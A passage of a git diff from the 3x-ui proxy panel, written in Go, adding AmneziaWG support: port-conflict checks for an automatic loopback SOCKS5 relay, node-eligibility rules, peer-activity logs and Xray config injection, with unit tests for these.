+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+
+ svc := &InboundService{}
+ ctx, err := svc.loadPortConflictContext(database.GetDB())
+ if err != nil {
+ t.Fatalf("loadPortConflictContext: %v", err)
+ }
+ hit := svc.checkForwardedPortsConflict(ctx, fmt.Sprintf("%d", relayPort))
+ if !strings.Contains(hit, "SOCKS5") {
+ t.Fatalf("expected a collision naming the AmneziaWG inbound's SOCKS5 relay port, got %q", hit)
+ }
+}
+
+// A cleared DNS field is meaningful (no DNS line in client configs) and must
+// survive the save round-trip instead of resurrecting the frontend defaults.
+func TestNormalizeAmneziaWGSettingsKeepsClearedDNS(t *testing.T) {
+ setupConflictDB(t)
+ server, err := defaultAmneziaWGServer()
+ if err != nil {
+ t.Fatalf("defaultAmneziaWGServer: %v", err)
+ }
+ server.PrimaryDNS = ""
+ server.SecondaryDNS = ""
+ bs, err := json.Marshal(amneziawg.InboundSettings{Server: server, Clients: []model.Client{}})
+ if err != nil {
+ t.Fatalf("marshal settings: %v", err)
+ }
+ inbound := &model.Inbound{Protocol: model.AmneziaWG, Settings: string(bs)}
+ if err := (&InboundService{}).normalizeAmneziaWGSettings(inbound); err != nil {
+ t.Fatalf("normalizeAmneziaWGSettings: %v", err)
+ }
+ for _, key := range []string{`"primaryDns"`, `"secondaryDns"`} {
+ if !strings.Contains(inbound.Settings, key) {
+ t.Fatalf("cleared %s dropped from persisted settings:\n%s", key, inbound.Settings)
+ }
+ }
+}
diff --git a/internal/web/service/inbound_protocol.go b/internal/web/service/inbound_protocol.go
index 4d11e11ab..db7b1fad8 100644
--- a/internal/web/service/inbound_protocol.go
+++ b/internal/web/service/inbound_protocol.go
@@ -53,6 +53,24 @@ func inboundCanEnableTlsFlow(protocol, streamSettings, settings string) bool {
}
}
+// nodeEligibleProtocols mirrors the frontend's NODE_ELIGIBLE_PROTOCOLS. The
+// sidecar-managed protocols are absent because their reconcile loops only query
+// NodeID IS NULL rows, so a node-assigned one would never be reconciled at all.
+// A new protocol defaults to ineligible until added here, as on the frontend.
+var nodeEligibleProtocols = map[model.Protocol]bool{
+ model.VLESS: true,
+ model.VMESS: true,
+ model.Trojan: true,
+ model.Shadowsocks: true,
+ model.Hysteria: true,
+ model.WireGuard: true,
+}
+
+// isNodeEligibleProtocol reports whether protocol may be assigned to a node.
+func isNodeEligibleProtocol(protocol model.Protocol) bool {
+ return nodeEligibleProtocols[protocol]
+}
+
// vlessEncryptionEnabled reports whether a VLESS inbound has VLESS-level
// encryption (vlessenc / ML-KEM) configured. When enabled these fields hold a
// generated dotted string (e.g. "mlkem768x25519plus.native.0rtt."); "none"
diff --git a/internal/web/service/inbound_protocol_test.go b/internal/web/service/inbound_protocol_test.go
index db696db20..3893f9dac 100644
--- a/internal/web/service/inbound_protocol_test.go
+++ b/internal/web/service/inbound_protocol_test.go
@@ -88,3 +88,21 @@ func TestInboundCanHostFallbacks_StaysTcpOnly(t *testing.T) {
t.Errorf("inboundCanHostFallbacks(nil) = true, want false")
}
}
+
+// Mirrors NODE_ELIGIBLE_PROTOCOLS in
+// frontend/src/pages/inbounds/form/InboundFormModal.tsx -- keep both lists
+// in sync if a protocol's node-eligibility ever changes.
+func TestIsNodeEligibleProtocol(t *testing.T) {
+ eligible := []model.Protocol{model.VLESS, model.VMESS, model.Trojan, model.Shadowsocks, model.Hysteria, model.WireGuard}
+ for _, p := range eligible {
+ if !isNodeEligibleProtocol(p) {
+ t.Errorf("isNodeEligibleProtocol(%q) = false, want true", p)
+ }
+ }
+ ineligible := []model.Protocol{model.MTProto, model.AmneziaWG, model.Mixed, model.HTTP, model.Tunnel}
+ for _, p := range ineligible {
+ if isNodeEligibleProtocol(p) {
+ t.Errorf("isNodeEligibleProtocol(%q) = true, want false", p)
+ }
+ }
+}
diff --git a/internal/web/service/inbound_traffic_apply.go b/internal/web/service/inbound_traffic_apply.go
index d7876e20f..5665333cf 100644
--- a/internal/web/service/inbound_traffic_apply.go
+++ b/internal/web/service/inbound_traffic_apply.go
@@ -79,6 +79,10 @@ func (s *InboundService) applyTrafficMutationBatch(b *trafficMutationBatch) bool
s.applyLocalMtproto(plan.inbound.Id)
continue
}
+ if plan.inbound.Protocol == model.AmneziaWG {
+ s.applyLocalAmneziaWG(plan.inbound.Id)
+ continue
+ }
rt, err := s.runtimeFor(&plan.inbound)
if err == nil {
switch plan.action {
diff --git a/internal/web/service/port_conflict.go b/internal/web/service/port_conflict.go
index 9737782bf..5dec012be 100644
--- a/internal/web/service/port_conflict.go
+++ b/internal/web/service/port_conflict.go
@@ -5,6 +5,8 @@ import (
"fmt"
"strings"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/util/common"
@@ -22,7 +24,7 @@ const (
func inboundTransports(protocol model.Protocol, streamSettings, settings string) transportBits {
// protocols that ignore streamSettings entirely.
switch protocol {
- case model.Hysteria, model.WireGuard:
+ case model.Hysteria, model.WireGuard, model.AmneziaWG:
return transportUDP
case model.MTProto:
return transportTCP
@@ -183,6 +185,36 @@ func checkPortConflictTx(db *gorm.DB, inbound *model.Inbound, ignoreId int) (*po
}, nil
}
+ // Every enabled local AmneziaWG inbound gets its own automatic Xray
+ // SOCKS5 relay inbound (see injectAmneziawgnetSocks) on 127.0.0.1 at a
+ // port derived purely from its id (amneziawgnet.SOCKSPortForInbound) --
+ // like the internal Xray API inbound above, that relay inbound is not
+ // itself a database row, so the ordinary DB-backed query below can never
+ // see it. Without this check, an unrelated inbound saved onto that exact
+ // port silently fails at the next Xray start, taking every other
+ // protocol down with it, not just AmneziaWG.
+ if inbound.NodeID == nil && listenOverlaps("127.0.0.1", inbound.Listen) {
+ conflict, err := checkAmneziawgnetSocksConflict(db, inbound, ignoreId, newBits)
+ if err != nil {
+ return nil, err
+ }
+ if conflict != nil {
+ return conflict, nil
+ }
+ }
+
+ // The reverse direction, only meaningful once the id is known (create's
+ // ignoreId==0 means AddInbound must run this itself after Save assigns one).
+ if inbound.Protocol == model.AmneziaWG && ignoreId > 0 {
+ conflict, err := checkAmneziawgnetSocksReverseConflict(db, ignoreId)
+ if err != nil {
+ return nil, err
+ }
+ if conflict != nil {
+ return conflict, nil
+ }
+ }
+
var candidates []*model.Inbound
q := db.Model(model.Inbound{}).Where("port = ?", inbound.Port)
if ignoreId > 0 {
@@ -216,6 +248,72 @@ func checkPortConflictTx(db *gorm.DB, inbound *model.Inbound, ignoreId int) (*po
return nil, nil
}
+// checkAmneziawgnetSocksConflict reports whether inbound's own port
+// collides with an existing, enabled local AmneziaWG inbound's automatic
+// Xray SOCKS5 relay port. Unlike the retired kernel-module bridge this
+// checks every qualifying AmneziaWG inbound unconditionally: the embedded
+// relay has no RouteThroughXray-style opt-in, every one of them gets a
+// relay inbound (see injectAmneziawgnetSocks). ignoreId excludes one inbound
+// id from the AmneziaWG candidates, the same way the general DB-backed
+// conflict query above excludes the inbound being edited from matching
+// itself. Takes db rather than fetching its own handle so it runs inside the
+// same serialized transaction as the rest of checkPortConflictTx (#6225) --
+// otherwise two concurrent AmneziaWG creates could both pass this check
+// before either row commits.
+func checkAmneziawgnetSocksConflict(db *gorm.DB, inbound *model.Inbound, ignoreId int, newBits transportBits) (*portConflictDetail, error) {
+ var candidates []*model.Inbound
+ q := db.Model(model.Inbound{}).Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true)
+ if ignoreId > 0 {
+ q = q.Where("id != ?", ignoreId)
+ }
+ if err := q.Find(&candidates).Error; err != nil {
+ return nil, err
+ }
+ for _, c := range candidates {
+ if _, ok := amneziawg.InstanceFromInbound(c); !ok {
+ continue
+ }
+ if amneziawgnet.SOCKSPortForInbound(c.Id) != inbound.Port {
+ continue
+ }
+ return &portConflictDetail{
+ InboundID: c.Id,
+ Remark: c.Remark,
+ Tag: c.Tag,
+ Listen: "127.0.0.1",
+ Port: inbound.Port,
+ Transports: newBits,
+ }, nil
+ }
+ return nil, nil
+}
+
+// checkAmneziawgnetSocksReverseConflict mirrors checkAmneziawgnetSocksConflict:
+// does id's own derived relay port collide with some other inbound's port.
+func checkAmneziawgnetSocksReverseConflict(db *gorm.DB, id int) (*portConflictDetail, error) {
+ relayPort := amneziawgnet.SOCKSPortForInbound(id)
+ var candidates []*model.Inbound
+ if err := db.Model(model.Inbound{}).
+ Where("port = ? AND node_id IS NULL AND id != ?", relayPort, id).
+ Find(&candidates).Error; err != nil {
+ return nil, err
+ }
+ for _, c := range candidates {
+ if !listenOverlaps("127.0.0.1", c.Listen) {
+ continue
+ }
+ return &portConflictDetail{
+ InboundID: c.Id,
+ Remark: c.Remark,
+ Tag: c.Tag,
+ Listen: c.Listen,
+ Port: relayPort,
+ Transports: transportTCP,
+ }, nil
+ }
+ return nil, nil
+}
+
func sameNode(a, b *int) bool {
if a == nil && b == nil {
return true
diff --git a/internal/web/service/port_conflict_test.go b/internal/web/service/port_conflict_test.go
index 329caa0f6..21661225c 100644
--- a/internal/web/service/port_conflict_test.go
+++ b/internal/web/service/port_conflict_test.go
@@ -8,6 +8,7 @@ import (
"github.com/op/go-logging"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
xuilogger "github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -729,3 +730,198 @@ func TestCheckPortConflict_ReservedAPIPortUDPCoexists(t *testing.T) {
t.Fatalf("udp-only inbound must coexist with the tcp API inbound; got=%v err=%v", got, err)
}
}
+
+// amneziawgRoutedSettings builds a minimal but complete AmneziaWG settings
+// blob with one qualifying, enabled peer -- the shape that makes
+// injectAmneziawgnetSocks (and therefore checkAmneziawgnetSocksConflict)
+// create a relay inbound at all. The routeThroughXray field is kept in the
+// JSON (a stale value from a pre-cutover install) specifically to prove
+// it's now ignored -- see the "RouteThroughXrayOff" test below.
+const amneziawgRoutedSettings = `{"server":{"privateKey":"priv","publicKey":"pub","subnetIp":"10.8.1.0","subnetCidr":24,"routeThroughXray":true},"clients":[{"email":"a@x","enable":true,"publicKey":"pub-a","allowedIPs":["10.8.1.2/32"]}]}`
+
+// An enabled AmneziaWG inbound's automatic Xray SOCKS5 relay inbound
+// (injectAmneziawgnetSocks) is a synthetic loopback inbound, not a database
+// row, so checkPortConflict needs its own check to catch a collision --
+// exactly the same shape of problem as the reserved API port above.
+func TestCheckPortConflict_AmneziawgnetSocksRelayBlockedLocal(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
+
+ var awgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "vless-bridge",
+ Listen: "0.0.0.0",
+ Port: relayPort,
+ Protocol: model.VLESS,
+ }
+ got, err := svc.checkPortConflict(candidate, 0)
+ if err != nil {
+ t.Fatalf("checkPortConflict: %v", err)
+ }
+ if got == nil {
+ t.Fatalf("a local inbound on the AmneziaWG relay port %d must conflict", relayPort)
+ }
+ if msg := got.String(); !strings.Contains(msg, "awg-1") {
+ t.Fatalf("conflict message should name the owning AmneziaWG inbound; got %q", msg)
+ }
+}
+
+// Nodes run their own Xray, so a node inbound landing on the central panel's
+// AmneziaWG relay port must be allowed -- the relay inbound only ever binds
+// 127.0.0.1 on the local panel's own Xray.
+func TestCheckPortConflict_AmneziawgnetSocksRelayAllowedOnNode(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
+
+ var awgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "node-bridge",
+ Listen: "0.0.0.0",
+ Port: relayPort,
+ Protocol: model.VLESS,
+ NodeID: new(1),
+ }
+ if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
+ t.Fatalf("a node inbound on the local AmneziaWG relay port must be allowed; got=%v err=%v", got, err)
+ }
+}
+
+// A disabled AmneziaWG inbound never gets a relay inbound injected
+// (injectAmneziawgnetSocks skips !inbound.Enable), so its "reserved" port
+// must not block anything.
+func TestCheckPortConflict_AmneziawgnetSocksRelayIgnoredWhenDisabled(t *testing.T) {
+ setupConflictDB(t)
+ awg := &model.Inbound{Tag: "awg-1", Enable: false, Listen: "0.0.0.0", Port: 51820, Protocol: model.AmneziaWG, Settings: `{}`}
+ if err := database.GetDB().Create(awg).Error; err != nil {
+ t.Fatalf("seed disabled awg inbound: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awg.Id)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "vless-bridge",
+ Listen: "0.0.0.0",
+ Port: relayPort,
+ Protocol: model.VLESS,
+ }
+ if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
+ t.Fatalf("a disabled AmneziaWG inbound's port must not be reserved; got=%v err=%v", got, err)
+ }
+}
+
+// Unlike the retired kernel-module bridge, the embedded relay has no
+// RouteThroughXray-style opt-in -- every qualifying AmneziaWG inbound
+// reserves its relay port regardless of that (now-vestigial) field's value,
+// including a stale routeThroughXray:true left over from a pre-cutover
+// install (amneziawgRoutedSettings).
+func TestCheckPortConflict_AmneziawgnetSocksRelayReservedRegardlessOfLegacyRouteThroughXrayField(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{"server":{"privateKey":"priv","publicKey":"pub","subnetIp":"10.8.1.0","subnetCidr":24},"clients":[{"email":"a@x","enable":true,"publicKey":"pub-a","allowedIPs":["10.8.1.2/32"]}]}`)
+
+ var awgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "vless-bridge",
+ Listen: "0.0.0.0",
+ Port: relayPort,
+ Protocol: model.VLESS,
+ }
+ got, err := svc.checkPortConflict(candidate, 0)
+ if err != nil {
+ t.Fatalf("checkPortConflict: %v", err)
+ }
+ if got == nil {
+ t.Fatalf("an enabled, qualifying AmneziaWG inbound must reserve its relay port even with RouteThroughXray left at its default")
+ }
+}
+
+// A qualifying AmneziaWG inbound with no enabled/valid peer at all never
+// gets a relay inbound (amneziawg.InstanceFromInbound returns ok=false), so
+// its port isn't reserved.
+func TestCheckPortConflict_AmneziawgnetSocksRelayIgnoredWhenNoQualifyingPeer(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, `{}`)
+
+ var awgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "vless-bridge",
+ Listen: "0.0.0.0",
+ Port: relayPort,
+ Protocol: model.VLESS,
+ }
+ if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
+ t.Fatalf("an AmneziaWG inbound with no qualifying peer must not reserve its relay port; got=%v err=%v", got, err)
+ }
+}
+
+// An unrelated port never conflicts with the relay inbound.
+func TestCheckPortConflict_AmneziawgnetSocksRelayDifferentPortAllowed(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Tag: "vless-elsewhere",
+ Listen: "0.0.0.0",
+ Port: 9999,
+ Protocol: model.VLESS,
+ }
+ if got, err := svc.checkPortConflict(candidate, 0); err != nil || got != nil {
+ t.Fatalf("an unrelated port must not conflict with the AmneziaWG relay inbound; got=%v err=%v", got, err)
+ }
+}
+
+// The reverse direction: saving an AmneziaWG inbound whose own derived relay
+// port happens to equal another inbound's real port must also be rejected,
+// not just the already-covered "someone else picks my relay port" case.
+func TestCheckPortConflict_AmneziawgnetSocksRelayReverseDirectionBlockedOnUpdate(t *testing.T) {
+ setupConflictDB(t)
+ seedInboundConflict(t, "awg-1", "0.0.0.0", 51820, model.AmneziaWG, ``, amneziawgRoutedSettings)
+
+ var awgInbound model.Inbound
+ if err := database.GetDB().Where("tag = ?", "awg-1").First(&awgInbound).Error; err != nil {
+ t.Fatalf("read seeded row: %v", err)
+ }
+ relayPort := amneziawgnet.SOCKSPortForInbound(awgInbound.Id)
+ seedInboundConflict(t, "vless-1", "0.0.0.0", relayPort, model.VLESS, ``, `{}`)
+
+ svc := &InboundService{}
+ candidate := &model.Inbound{
+ Id: awgInbound.Id,
+ Tag: "awg-1",
+ Listen: "0.0.0.0",
+ Port: 51820,
+ Protocol: model.AmneziaWG,
+ Settings: amneziawgRoutedSettings,
+ }
+ got, err := svc.checkPortConflict(candidate, awgInbound.Id)
+ if err != nil {
+ t.Fatalf("checkPortConflict: %v", err)
+ }
+ if got == nil {
+ t.Fatalf("awg-1's own derived relay port %d collides with vless-1's real port; must be rejected", relayPort)
+ }
+}
diff --git a/internal/web/service/server.go b/internal/web/service/server.go
index 64883705c..e724752e1 100644
--- a/internal/web/service/server.go
+++ b/internal/web/service/server.go
@@ -4,6 +4,7 @@ import (
"archive/zip"
"bufio"
"bytes"
+ "cmp"
"context"
"crypto/sha256"
"crypto/x509"
@@ -13,6 +14,7 @@ import (
"errors"
"fmt"
"io"
+ "math"
"mime/multipart"
stdnet "net"
"net/http"
@@ -28,6 +30,8 @@ import (
"sync"
"time"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/database"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
@@ -89,6 +93,13 @@ type Status struct {
ErrorMsg string `json:"errorMsg"`
Version string `json:"version"`
} `json:"xray"`
+ // AmneziaWG gates the overview's AmneziaWG log view: Configured stays true
+ // while an inbound exists but its embedded interface isn't up yet, which
+ // is exactly when that view's event lines are worth reading.
+ AmneziaWG struct {
+ Configured bool `json:"configured"`
+ Running bool `json:"running"`
+ } `json:"amneziawg"`
PanelVersion string `json:"panelVersion"`
PanelGuid string `json:"panelGuid"`
Uptime uint64 `json:"uptime"`
@@ -611,6 +622,16 @@ func (s *ServerService) GetStatus(lastStatus *Status) *Status {
status.Xray.ErrorMsg = s.xrayService.GetXrayResult()
}
status.Xray.Version = s.xrayService.GetXrayVersion()
+
+ var amneziawgCount int64
+ if err := database.GetDB().Model(model.Inbound{}).
+ Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
+ Count(&amneziawgCount).Error; err != nil {
+ logger.Warning("count amneziawg inbounds failed:", err)
+ }
+ status.AmneziaWG.Configured = amneziawgCount > 0
+ status.AmneziaWG.Running = amneziawgnet.GetManager().HasRunning()
+
status.PanelVersion = config.GetPanelVersion()
if guid, err := s.settingService.GetPanelGuid(); err == nil {
status.PanelGuid = guid
@@ -1167,6 +1188,148 @@ func parseAccessLogFields(line string) LogEntry {
return entry
}
+// PeerActivity is one peer's live embedded-Device-reported state, the
+// counterpart of an Xray access-log entry: a tunnel logs no requests, only
+// handshakes and bytes.
+type PeerActivity struct {
+ Interface string `json:"interface" example:"awg1"`
+ Tag string `json:"tag" example:"inbound-51820"`
+ InboundId int `json:"inboundId" example:"1"`
+ Email string `json:"email" example:"peer@example.com"`
+ Endpoint string `json:"endpoint" example:"203.0.113.9:51820"`
+ AllowedIPs string `json:"allowedIPs" example:"10.8.1.2/32"`
+ // Handshake is unix milliseconds, 0 when the peer has never connected.
+ Handshake int64 `json:"handshake" example:"1735732800000"`
+ Up int64 `json:"up" example:"1048576"`
+ Down int64 `json:"down" example:"4194304"`
+ Online bool `json:"online" example:"true"`
+}
+
+// amneziawgOnlineWindow mirrors the standard WireGuard convention (and this
+// fork's own prior kernel-module behavior): a handshake this recent counts
+// as online.
+const amneziawgOnlineWindow = 180 * time.Second
+
+// AmneziaWGLogs is what the overview's AmneziaWG log view renders: the live
+// per-peer activity of every running embedded interface, plus the panel's
+// own recent AmneziaWG lifecycle log lines that explain a peer being absent
+// from Peers at all.
+type AmneziaWGLogs struct {
+ Peers []PeerActivity `json:"peers"`
+ Events []string `json:"events" example:"[\"2025/01/01 12:00:00 amneziawg: started interface awg1 for inbound 1\"]"`
+ Running bool `json:"running" example:"true"`
+}
+
+// amneziawgEventMarker selects the panel's own AmneziaWG log lines: every
+// logger call in internal/amneziawg, internal/amneziawgnet and their jobs
+// prefixes its message with it.
+const amneziawgEventMarker = "amneziawg"
+
+// amneziawgLogActivity gathers live PeerActivity rows across every enabled,
+// non-node-hosted AmneziaWG inbound, newest handshake first. An inbound
+// amneziawgnet has no running Device for yet (not reconciled, disabled,
+// errored) contributes no rows -- not reported as an error, since the
+// caller (GetAmneziaWGLogs) already has a device-agnostic Running flag from
+// amneziawgnet.GetManager().HasRunning() for that.
+// clampUint64ToInt64 saturates at math.MaxInt64 instead of wrapping negative,
+// for a live uint64 byte counter (amneziawgnet's own UAPI-dump snapshot, not
+// a DB-accumulated total) going into an int64 API field -- unreachable in
+// practice at real traffic volumes, but a silent negative value would be
+// worse than a saturated one if it were ever hit.
+func clampUint64ToInt64(v uint64) int64 {
+ if v > math.MaxInt64 {
+ return math.MaxInt64
+ }
+ return int64(v)
+}
+
+func amneziawgLogActivity() []PeerActivity {
+ var inbounds []*model.Inbound
+ if err := database.GetDB().
+ Where("protocol = ? AND enable = ? AND node_id IS NULL", model.AmneziaWG, true).
+ Find(&inbounds).Error; err != nil {
+ logger.Warning("amneziawg logs: list inbounds failed:", err)
+ return nil
+ }
+
+ now := time.Now()
+ var out []PeerActivity
+ for _, inbound := range inbounds {
+ inst, ok := amneziawg.InstanceFromInbound(inbound)
+ if !ok {
+ continue
+ }
+ diag := amneziawgnet.Diagnose(inbound.Id, inst.Peers)
+ if !diag.Running {
+ continue
+ }
+ for _, cd := range diag.Clients {
+ var handshakeMs int64
+ online := false
+ if !cd.LastHandshake.IsZero() {
+ handshakeMs = cd.LastHandshake.UnixMilli()
+ online = now.Sub(cd.LastHandshake) < amneziawgOnlineWindow
+ }
+ out = append(out, PeerActivity{
+ Interface: inst.InterfaceName,
+ Tag: inbound.Tag,
+ InboundId: inbound.Id,
+ Email: cd.Email,
+ Endpoint: cd.Endpoint,
+ AllowedIPs: cd.AllowedIPs,
+ Handshake: handshakeMs,
+ Up: clampUint64ToInt64(cd.RxBytes),
+ Down: clampUint64ToInt64(cd.TxBytes),
+ Online: online,
+ })
+ }
+ }
+ slices.SortFunc(out, func(a, b PeerActivity) int {
+ if a.Handshake != b.Handshake {
+ return cmp.Compare(b.Handshake, a.Handshake)
+ }
+ return strings.Compare(a.Email, b.Email)
+ })
+ return out
+}
+
+// GetAmneziaWGLogs returns at most count peer rows and count event lines,
+// optionally narrowed to rows whose text contains filter (case-insensitive),
+// mirroring GetXrayLogs' own count+filter contract.
+func (s *ServerService) GetAmneziaWGLogs(count string, filter string) *AmneziaWGLogs {
+ limit, err := strconv.Atoi(count)
+ if err != nil || limit < 1 || limit > 10000 {
+ limit = 100
+ }
+ needle := strings.ToLower(strings.TrimSpace(filter))
+
+ logs := &AmneziaWGLogs{Peers: []PeerActivity{}, Events: []string{}, Running: amneziawgnet.GetManager().HasRunning()}
+
+ for _, peer := range amneziawgLogActivity() {
+ if len(logs.Peers) >= limit {
+ break
+ }
+ if needle != "" && !strings.Contains(strings.ToLower(peer.Email+" "+peer.Tag+" "+peer.Interface+" "+peer.Endpoint+" "+peer.AllowedIPs), needle) {
+ continue
+ }
+ logs.Peers = append(logs.Peers, peer)
+ }
+
+ for _, line := range logger.GetLogs(10000, "debug") {
+ if len(logs.Events) >= limit {
+ break
+ }
+ if !strings.Contains(strings.ToLower(line), amneziawgEventMarker) {
+ continue
+ }
+ if needle != "" && !strings.Contains(strings.ToLower(line), needle) {
+ continue
+ }
+ logs.Events = append(logs.Events, line)
+ }
+ return logs
+}
+
func (s *ServerService) GetXrayLogs(
count string,
filter string,
diff --git a/internal/web/service/tgbot/tgbot_inbound.go b/internal/web/service/tgbot/tgbot_inbound.go
index c17272e8b..12b1caf5f 100644
--- a/internal/web/service/tgbot/tgbot_inbound.go
+++ b/internal/web/service/tgbot/tgbot_inbound.go
@@ -158,6 +158,7 @@ func (t *Tgbot) getInboundsAddClient() (*telego.InlineKeyboardMarkup, error) {
model.Tunnel: true,
model.Mixed: true,
model.WireGuard: true,
+ model.AmneziaWG: true,
model.HTTP: true,
}
@@ -202,6 +203,7 @@ func (t *Tgbot) getInboundsAttachPicker() (*telego.InlineKeyboardMarkup, error)
model.Tunnel: true,
model.Mixed: true,
model.WireGuard: true,
+ model.AmneziaWG: true,
model.HTTP: true,
}
selected := make(map[int]bool, len(receiver_inbound_IDs))
diff --git a/internal/web/service/xray.go b/internal/web/service/xray.go
index 1a353a7a8..6e11543a0 100644
--- a/internal/web/service/xray.go
+++ b/internal/web/service/xray.go
@@ -10,6 +10,8 @@ import (
"strings"
"sync"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawgnet"
"github.com/mhsanaei/3x-ui/v3/internal/config"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
"github.com/mhsanaei/3x-ui/v3/internal/logger"
@@ -172,7 +174,7 @@ func (s *XrayService) GetXrayConfig() (*xray.Config, error) {
if inbound.NodeID != nil {
continue
}
- if inbound.Protocol == model.MTProto {
+ if inbound.Protocol == model.MTProto || inbound.Protocol == model.AmneziaWG {
continue
}
settings := map[string]any{}
@@ -369,6 +371,27 @@ func (s *XrayService) GetXrayConfig() (*xray.Config, error) {
injectMtprotoEgress(xrayConfig, inbound)
}
+ // Every AmneziaWG inbound is embedded (internal/amneziawgnet: amneziawg-go
+ // over a gVisor netstack, no kernel module) and relays every peer's
+ // decapsulated traffic into its own loopback SOCKS5 inbound, always on —
+ // unlike mtproto's bridge above, there's no opt-in gate here: once
+ // traffic is decapsulated in gVisor, Xray's own freedom outbound is the
+ // only way it reaches the real internet at all, not an optional extra
+ // hop. Whether it goes anywhere beyond Xray's default routing is up to
+ // whatever rules the admin adds through the stock Routing page, exactly
+ // like routing any other protocol.
+ injectAmneziawgnetSocks(xrayConfig, inbounds)
+
+ // Restores each opted-in peer's own distinct public IPv6 source identity
+ // for its outbound connections — a peer that has an IPv6 address in its
+ // AllowedIPs, on an inbound with IPv6Enabled, gets its own freedom
+ // outbound bound to that exact address via sendThrough.
+ // internal/amneziawgnet's own Manager is responsible for actually
+ // aliasing that address onto the host (see v6alias.go) so the kernel
+ // lets Xray bind an egress socket to it at all; this call only builds
+ // the Xray-side outbound/routing-rule half.
+ injectAmneziawgV6Egress(xrayConfig, inbounds)
+
// Wire the panel's own HTTP traffic through the configured outbound, after
// the subscription merge so subscription outbound tags are valid targets.
if egressTag, err := s.settingService.GetPanelOutbound(); err != nil {
@@ -663,6 +686,223 @@ func injectMtprotoEgress(cfg *xray.Config, inbound *model.Inbound) {
})
}
+// amneziawgEgressSniffingSettings matches this fork's normal per-inbound
+// default (see default.json's "mixed" inbound). Without this, domain-based
+// Routing rules can never match this relay: the peer resolved DNS
+// itself, through the tunnel, before ever sending a packet — by the time the
+// embedded forwarder recovers the decapsulated traffic, the destination is
+// already a bare IP, with no domain name attached at the network layer at
+// all. Sniffing recovers it from the payload itself (TLS SNI / HTTP Host /
+// QUIC) the same way it already does for every other inbound; without it,
+// only tag/IP/network-based rules can ever match this traffic, and any
+// domain rule above it in the list is silently unreachable.
+const amneziawgEgressSniffingSettings = `{"enabled":true,"destOverride":["http","tls","quic","fakedns"]}`
+
+// injectAmneziawgnetSocks gives every enabled AmneziaWG inbound with at
+// least one qualifying peer its own loopback SOCKS5 inbound for the
+// embedded (amneziawg-go) relay path (internal/amneziawgnet) -- always on,
+// since there is no alternative datapath once traffic is decapsulated in
+// gVisor: Xray's own freedom outbound is how it reaches the real internet at
+// all (see internal/amneziawgnet/relay.go's doc comment, Finding 3 of the
+// migration plan). Tagged with the inbound's own real tag: it's already
+// selectable in the panel's stock Routing page (InboundService.GetInboundTags
+// is protocol-blind), and per-inbound traffic totals
+// (internal/web/service/inbound_traffic.go's addClientTraffic) match by
+// exact tag -- reusing it isn't a style choice.
+func injectAmneziawgnetSocks(cfg *xray.Config, inbounds []*model.Inbound) {
+ existingTags := make(map[string]struct{}, len(cfg.InboundConfigs))
+ for i := range cfg.InboundConfigs {
+ existingTags[cfg.InboundConfigs[i].Tag] = struct{}{}
+ }
+
